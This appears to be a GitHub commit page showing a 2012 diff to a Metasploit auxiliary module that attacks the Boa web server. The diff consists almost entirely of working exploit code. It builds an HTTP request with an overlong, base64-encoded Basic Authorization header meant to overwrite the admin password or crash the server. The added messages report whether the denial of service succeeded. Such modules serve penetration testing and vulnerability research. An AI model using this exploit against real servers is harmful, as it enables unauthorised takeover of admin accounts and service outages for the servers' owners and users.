Skip to content

Commit

Permalink
realized ranking was only for exploits, added output to aid with chec…
Browse files Browse the repository at this point in the history
…king whether or not the password was changed or denial of service was achieved. also added some error handling
  • Loading branch information
mdietz94 committed Jun 7, 2012
1 parent a1d0f2e commit 8d81eb9
Showing 1 changed file with 22 additions and 13 deletions.
35 changes: 22 additions & 13 deletions modules/auxiliary/dos/http/boa_auth_dos.rb
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,6 @@
require 'msf/core'

class Metasploit3 < Msf::Auxiliary
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
Expand Down Expand Up @@ -49,19 +48,29 @@ def initialize(info = {})
end

def run
connect
print_status("Sending packet to #{rhost}:#{rport}")
auth = "X" * 127
auth << ":"
auth << datastore['Password']
begin
connect
print_status("Sending packet to #{rhost}:#{rport}")
auth = "X" * 127
auth << ":"
auth << datastore['Password']

sploit = "GET "
sploit << datastore['URI']
sploit << " HTTP/1.1\r\nAuthorization: Basic\r\n"
sploit << Base64.encode64(auth)
sploit << "\r\n\r\n"
sploit = "GET "
sploit << datastore['URI']
sploit << " HTTP/1.1\r\nAuthorization: Basic\r\n"
sploit << Base64.encode64(auth)
sploit << "\r\n\r\n"

sock.put(sploit)
disconnect
sock.put(sploit)
disconnect

print_status("Server not crashed. Either the password for 'admin' has been changed or this server is not vulnerable")

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_status("Unable to connect to #{rhost}:#{rport}.")
rescue ::ERRNO::ECONNRESET
print_status("DoS packet successful. #{rhost} not responding.")
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end

0 comments on commit 8d81eb9

Please sign in to comment.